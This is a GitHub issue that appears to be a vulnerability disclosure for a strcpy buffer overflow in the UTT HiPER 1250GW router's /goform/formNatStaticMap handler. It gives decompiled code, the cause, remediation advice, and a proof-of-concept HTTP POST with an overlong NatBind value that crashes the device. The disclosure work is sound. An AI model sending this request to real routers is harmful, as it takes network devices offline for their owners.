New issue

Buffer Overflow Vulnerability in UTT HiPER 1250GW Router `/goform/formNatStaticMap` #1

Open

Moxxkidd opened 2 weeks ago Owner

Vulnerability Title

Buffer Overflow Vulnerability in UTT HiPER 1250GW Router `/goform/formNatStaticMap`

Information

Vendor: UTT（AiTai）
Vendor Website: https://utt.com.cn/
Affected Product: HiPER 1250GW
Affected Firmware Version: <= v3.2.7-210907-180535
Firmware Download Address: https://utt.com.cn/downloadcenter.php

Overview

A serious buffer overflow vulnerability exists in the `/goform/formNatStaticMap` interface of the UTT HiPER 1250GW router. An attacker can control related parameters through a crafted request and, when the condition `Action != add` is satisfied, eventually trigger the unsafe string copy operation `strcpy(src_2, src);`, resulting in a buffer overflow and causing a denial of service (DoS).

Vulnerability Details

Interface Registration

According to the reverse engineering results, the vulnerable interface is registered as `formNatStaticMap`.

[Screenshot Placeholder 1: Interface registration location]

```
1  int sub_41D804()
2  {
3    websDefineAction_("formNatStaticMap", (char *)sub_41C94C);
4    websDefineAction_("formConfigNatMapEnable", (char *)sub_41C5EC);
5    websDefineAction_("formNatStaticMapDelAll", (char *)sub_41C43C);
6    websDefineAction_("formNatStaticMapDel", (char *)sub_41C2A0);
7    websDefineJst_("aspOutNatStaticMap", (char *)sub_41D0FC);
8    websDefineAction_("formRemoteControl", (char *)sub_41D748);
9    return websDefineJst_("aspOutRemoteControlInfo", (char *)sub_41D4B8);
10 }
```

Parameter Retrieval and Branch Logic

In the vulnerable handler, the program retrieves several parameters, including `Action`, and also reads the attacker-controlled string parameter. Based on the code path shown in the screenshots, the firmware internally uses `websGetVar_(a1, "NatBinds")` to retrieve the value, while the PoC submits the parameter as `NatBind`.

This indicates an inconsistency in the original material. Therefore, the safer and more accurate wording in this report is: **`NatBind` (corresponding to the internal firmware retrieval logic `NatBinds`)**.

[Screenshot Placeholder 2: Parameter retrieval process]

```
70    sprintf((char *)str_1, "InnerPortS[%d]", i);
71    sprintf((char *)str_2, "InnerPortE[%d]", i);
72    sprintf((char *)str_3, "OutPortS[%d]", i);
73    sprintf((char *)str_4, "OutPortE[%d]", i);
74    str[v5 + 8] = websGetVar_(a1, (char *)str);
75    str[v5 + 32] = websGetVar_(a1, (char *)str_1);
76    str[v5 + 20] = websGetVar_(a1, (char *)str_2);
77    str[v5 + 56] = websGetVar_(a1, (char *)str_3);
78    str[v5 + 44] = websGetVar_(a1, (char *)str_4);
79    ++v5;
80  }
81  v7 = websGetVar_(a1, "IPs");
82  v8 = websGetVar_(a1, "Action");
83  src = (char *)websGetVar_(a1, "NatBinds");
84  sub_415660(src);
85  Var_1 = websGetVar_(a1, "IDold");
86  if ( !strcmp(Var, (int)"l2tp")
87    || !strcmp(Var_1, (int)"l2tp")
88    || !strcmp(Var, (int)"pptp")
89    || !strcmp(Var_1, (int)"pptp") )
90  {
91    strncpy_("{C_LANG_INDEX_NOT_CHANGE_DEFAULT_MAP}", v10);
92    return sub_414D54((int)a1);
93  }
94  if ( !inet_aton(v7, (int)&v46) )
95  {
96    strncpy_("{C_LANG_INDEX_IP_PLAN_ADDR_ERR}", "(L2TPS)%s", v13);
97    return sub_414D54((int)a1);
98  }
99  if ( strcmp(v8, (int)"add") )
100 {
101   InstIndexByName = ProfGetInstIndexByName(18, Var_1);
102   v24 = 0;
103   v25 = 0;
104   v26 = 0;
```

Trigger Condition

When the value of `Action` is not equal to `add`, the program enters the corresponding conditional branch and continues the subsequent processing logic. In this flow, attacker-controlled data is eventually passed to:

```
strcpy(src_2, src);
```

Since no length validation is performed on the input, an attacker can supply an overly long parameter to overflow the destination buffer, resulting in a buffer overflow condition.

[Screenshot Placeholder 3: Action check and vulnerable strcpy call]

```
    InstPointByIndex_1[20] = v36;
    InstPointByIndex_1[32] = v37;
    InstPointByIndex_1[44] = v39;
    printf("staticNatProfile->protocol[%d]:%d\n", k, v38);
    printf("staticNatProfile->OutPort[%d]:%d\n", k, InstPointByIndex_1[20]);
    printf("staticNatProfile->InnerPort[%d]:%d\n", k, InstPointByIndex_1[32]);
    k_1 = k;
    ++v33;
    printf("staticNatProfile->PortNum[%d]:%d\n", k_1, InstPointByIndex_1[44]);
  }
  src_2 = (char *)(InstPointByIndex + 232);
  *(_DWORD *)(InstPointByIndex + 228) = v46;
  strcpy(src_2, src);
  ProfUpdate(v45);
  ProfFreeAllocList(v45);
  nvramWriteCommit(v42);
  return sub_414D98((int)a1);
}
```

Root Cause Analysis

The root cause of the vulnerability is that the program does not strictly validate the length of user-controlled input and directly invokes the dangerous function below:

```
strcpy(src_2, src);
```

Because `strcpy` performs no boundary checking, if the source string exceeds the size of the destination buffer, adjacent memory will be overwritten, which may lead to service crashes, inaccessible pages, device reboots, or other abnormal behavior. Based on the provided PoC and the observed error condition, the vulnerability can reliably cause a denial of service.

Proof of Concept (PoC)

An attacker can trigger the vulnerability by sending the following HTTP request to the target device:

```
POST /goform/formNatStaticMap HTTP/1.1
Host: 192.168.1.1
Content-Length: 1822
Cache-Control: max-age=0
Authorization: Digest username="admin", realm="UTT", nonce="80758026511f147977ce8ea9363e038c"
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apr
Referer: http://192.168.1.1/IPMac.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: language=zhcn; utt_bw_rdevType=; td_cookie=2522114788
Connection: close

Action=del&NatBind=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

After sending the above request, the device may become unresponsive, the management interface may become inaccessible, or the service may terminate abnormally, thereby confirming the vulnerability.

[Screenshot Placeholder 4: Timeout / device abnormal behavior after triggering]

Impact

This vulnerability may cause the following security impact:

- Crash of the device's web management service
- Inaccessibility of the management interface
- Denial of service (DoS) state on the device
- Potential for further exploitation under specific conditions

Remediation

It is recommended that the vendor avoid using unsafe functions such as `strcpy` when processing web parameters, and replace them with bounded alternatives such as `strncpy` or `snprintf`. In addition, strict length checks and validity validation should be applied to critical parameters such as `Action`, `NatBind`, and the internally corresponding `NatBinds`. Enabling security mechanisms such as stack protection during firmware compilation is also recommended to reduce the risk of exploitation.

Notes

The key correction in this report is not the vulnerability itself, but the inconsistent parameter naming in the original material. The most robust wording is:

> An attacker controls the `NatBind` parameter through the `/goform/formNatStaticMap` interface (corresponding to the internal firmware retrieval logic `NatBinds`), and when `Action != add`, a buffer overflow is ultimately triggered through `strcpy(src_2, src);`.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants